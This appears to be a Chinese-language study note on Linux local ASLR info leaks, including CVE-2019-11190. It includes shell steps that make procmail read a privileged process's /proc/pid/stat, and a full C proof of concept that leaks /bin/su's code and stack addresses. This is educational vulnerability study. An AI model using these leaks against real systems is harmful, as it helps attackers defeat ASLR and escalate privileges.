# 本地 aslr 缺口
###### tags: `exploitation`
這篇是昨天從 netsec 上看到有人分享的文章,我以為是哪個 pwner 又想了一些可以用在 ctf 上的 trick ,結果點進去發現原來是 real world 的例子,這樣也好多接觸點現實面的問題有助於跳脫 ctf 的框架拉~
以下資料我只是整理跟一些補充,大部分內容可以看[這篇](https://blog.blazeinfosec.com/the-never-ending-problems-of-local-aslr-holes-in-linux/)
## ASLR
最早是由 PaX 在 2001 年實作出來的,並且在 2005 年引入 kernel 內 (kernel 應該叫 KASLR) ,目的是防範需要知道確切地址的攻擊手段,比如最早期的 return to shellcode ,跳到 shellcode 必須知道 shellcode 擺放的地址,以前是擺在 stack 上,有了 ASLR 就必須搭配一個 info leak 的漏洞。
在 2009 年 google 的 Tarvis 和 Julien 曾經在研討會上發表了利用 /proc/pid/stat 和 /proc/pid/wchan 的 info leak 問題,這個漏洞可以用來讓沒有使用 ptrace 權限的 process bypass aslr ,之後 linux kernel 修復了這個問題。
## CVE-2019-11190
10 年過後, 2019/4/3 Federico Bento 揭漏了一個同樣利用 /proc/pid/stat 的 info leak 手法,該手法利用載入 binary 的 function load_elf_binary() 先把 memory map 到記憶體後再呼叫 install_exec_creds() 這個 function ,而這中間就讓其他程式有機會繞過 ptrace_may_access() 這個 check
:::info
跟著程式走一遍,發現如果直接在 shell 執行會顯示不出來,但用 strace 啟動後再 redirect 到檔案才顯示的出來 = =
直接執行:

strace redirect:

:::
## After few days
幾天後, SUSE 的工程師在 oss-security mailing list 發表了另一個已知且已被修補的 aslr 漏洞,該漏洞簡單說就是權限檢查位於 read() 裡面而不是 open() 的時候就檢查,導致程式可以將已開啟的 fd 傳送給高權限的 process 讀取內容然後印出來,該工程師給的例子是 /proc/pid/maps 但他忘了說 /proc/pid/ 之類的 pesudo file 也有這個問題...,以下用文章的例子講解(雖然文章上也有結果...):
1. `$ su &`
用背景模式打開 su 順便看 pid

2. `$ ls -l `
檢查一下權限:

3. `$ cat /proc/7261/maps`

4. `procmail < /proc/7261/stat`
procmail 好像是用來過濾 email 的工具,是一個 previleged 的程式,將 proc/7261/stat 的內容當作 mail 給 procmail 讀取
5. `tail -2 /var/spool/mail/ubuntu | cut -d' ' -f51'`
印出剛剛讀進去的內容,擷取第 51 個會印出:

用 hex 方式印出來:

6. `sudo cat /proc/7261/maps`
看一下剛剛印出來的值是否存在於 memory 中

發現可以 leak 出 stack 地址
如果用一般的 cat 去看得話,只會看到用 0 屏蔽掉的值:

關於上述的問題工程師說這個用額外設定的 hidepid 來解決不特別修補了:
```
hidepid=n (since Linux 3.3)
......
2 As for mode 1, but in addition the /proc/[pid] directories
belonging to other users become invisible. This means
that /proc/[pid] entries can no longer be used to discover
the PIDs on the system. This doesn't hide the fact that a
process with a specific PID value exists (it can be
learned by other means, for example, by "kill -0 $PID"),
but it hides a process's UID and GID, which could other‐
wise be learned by employing stat(2) on a /proc/[pid]
directory. This greatly complicates an attacker's task of
gathering information about running processes (e.g., dis‐
covering whether some daemon is running with elevated
privileges, whether another user is running some sensitive
program, whether other users are running any program at
all, and so on).
```
好像是直接禁止 user 查看彼此的 /proc/pid 了,但這沒啥用,因為攻擊者可以查看自身程式的 /proc/pid,換句話說只要 fork() 一個出來後 parent process 再去 execve() 其他特權程式(su),則 child 可以透過 getppid() 先行取得 parent pid 然後讀取 /proc/pid/stat 就可以獲得特權程式的資訊,這邊就是前面所提到的 CVE-2019-11190 了
code:
```c=
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void wait_and_parse(int fd)
{
int i, found_text, count = 1;
char buf[4096], *tok;
for(i = 0; i < 500000; i++) {
read(fd, buf, sizeof(buf));
//printf("%s\n", buf);
if(strstr(buf, "(su)")) {
tok = strtok(buf, " ");
while(tok != NULL) {
if(count == 47 && strtoul(tok, NULL, 10)) {
printf("[+] /bin/su .text is at: 0x%lx\n", strtoul(tok, NULL, 10) - 0x20e000);
found_text = 1;
}
else if(found_text == 1 && count == 48 && strtoul(tok, NULL, 10)) {
printf("[+] /bin/su stack is at: 0x%lx\n", strtoul(tok, NULL, 10) - 0x20c10);
close(fd);
exit(0);
}
count++;
tok = strtok(NULL, " ");
}
}
count = 1;
lseek(fd, 0, SEEK_SET);
}
}
int main()
{
int pid, fd;
char buf[20];
pid = fork();
if(pid == 0) {
printf("***** ASLRIP *****\n");
printf("[+] Leaking /bin/su\n");
snprintf(buf, sizeof(buf) - 1, "/proc/%d/stat", getppid());
fd = open(buf, O_RDONLY);
if(fd == -1) {
printf("open() failed\n");
exit(1);
}
wait_and_parse(fd);
}
else {
sleep(1);
execlp("/bin/su", "su", NULL);
}
}
```
當然我自己測的時候必須透過 strace 把 output 導出來才看的到就是了。